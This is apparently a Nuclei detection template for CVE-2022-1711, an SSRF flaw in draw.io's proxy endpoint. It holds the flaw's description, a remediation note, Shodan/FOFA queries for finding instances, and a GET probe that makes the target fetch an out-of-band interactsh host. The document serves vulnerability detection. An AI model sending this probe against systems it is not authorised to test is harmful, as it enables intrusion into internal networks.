id: CVE-2022-1711

info:
  name: draw.io < 18.0.5 - Server Side Request Forgery (SSRF)
  author: ritikchaddha
  severity: high
  description: |
    Server-Side Request Forgery (SSRF) vulnerability in draw.io (also known as diagrams.net) prior to version 18.0.5 allows attackers to bypass URL validation restrictions in the ProxyServlet component. The vulnerability exists because the application does not properly validate URLs passed to its proxy endpoint, allowing attackers to make requests to internal services or external servers. This can lead to unauthorized access to internal resources and potential data exfiltration.
  impact: |
    Unauthenticated attackers can perform SSRF attacks via the proxy endpoint to access internal resources, scan internal networks, or retrieve sensitive data from internal systems.
  remediation: |
    Update to draw.io/diagrams.net version 18.0.5 or later. The patch adds isLinkLocalAddress() checks to restrict proxy request destinations. If patching isn't possible, implement network controls to limit server connections to internal systems.
  reference:
    - https://huntr.dev/bounties/c32afff5-6ad5-4d4d-beea-f55ab4925797
    - https://github.com/jgraph/drawio/commit/cf5c78aa0f3127fb10053db55b39f3017a0654ae
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1711
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1711
    cwe-id: CWE-918
    epss-score: 0.05372
    epss-percentile: 0.91616
  metadata:
    vendor: diagrams
    product: drawio
    verified: true
    shodan-query: html:"draw.io"
    fofa-query: body="draw.io"
  tags: cve,cve2022,ssrf,drawio,diagrams,jgraph,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/proxy?url=http://{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(interactsh_protocol, 'dns')"
          - "contains(content_type, 'application/octet-stream')"
        condition: and
# digest: 490a00463044022041f876e5d903ec12810e840cd752093471c5fe9bb012f19f00a6f8b654e9007502203f8a94e27fafd0aaf97e7190ceba8b2965b00b4ab1f9b3ec75c04936bffd9b3c:922c64590222798bb761d5b6d8e72950